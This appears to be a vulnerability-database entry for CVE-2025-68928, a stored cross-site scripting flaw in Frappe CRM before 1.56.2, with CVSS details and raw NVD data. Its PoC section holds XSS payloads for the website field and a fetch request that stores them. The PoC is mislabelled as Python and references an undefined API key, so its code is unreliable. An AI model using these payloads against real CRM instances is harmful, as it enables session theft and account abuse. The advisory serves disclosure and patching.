Security Vulnerability Report
中文
CVE-2025-68928 CVSS 5.4 MEDIUM

CVE-2025-68928

Published: 2025-12-29 15:16:02
Last Modified: 2026-01-05 19:33:46

Description

Frappe CRM is an open-source customer relationship management tool. Prior to version 1.56.2, authenticated users could set crafted URLs in a website field, which were not sanitized, causing cross-site scripting. Version 1.56.2 fixes the issue. No known workarounds are available.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:frappe_crm:*:*:*:*:*:*:*:* - VULNERABLE
Frappe CRM < 1.56.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68928 PoC - Stored XSS in Frappe CRM website field // Target: Frappe CRM < v1.56.2 // Attack Type: Stored XSS via website field // Step 1: Authenticate with low-privilege account const loginData = { usr: '[email protected]', pwd: 'password123' }; // Step 2: Create/Edit contact with malicious website URL const maliciousPayload = { first_name: 'Test', last_name: 'User', website: 'javascript:alert(document.cookie)//' }; // Alternative payloads: // website: 'data:text/html,<script>alert(1)</script>' // website: '<img src=x onerror=alert(document.domain)>' // Step 3: When other users view this contact, XSS will execute fetch('/api/resource/Contact', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'token ' + apiKey }, body: JSON.stringify(maliciousPayload) });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68928", "sourceIdentifier": "[email protected]", "published": "2025-12-29T15:16:01.877", "lastModified": "2026-01-05T19:33:46.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe CRM is an open-source customer relationship management tool. Prior to version 1.56.2, authenticated users could set crafted URLs in a website field, which were not sanitized, causing cross-site scripting. Version 1.56.2 fixes the issue. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_crm:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.56.2", "matchCriteriaId": "AECE80E4-EBC0-4DCC-BAFE-4C76A7D67D8F"}]}]}], "references": [{"url": "https://github.com/frappe/crm/commit/c5766d9989131d17d954e866bfc4b8d3b23e4f10", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/frappe/crm/releases/tag/v1.56.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/frappe/crm/security/advisories/GHSA-fm34-v6j7-chwc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}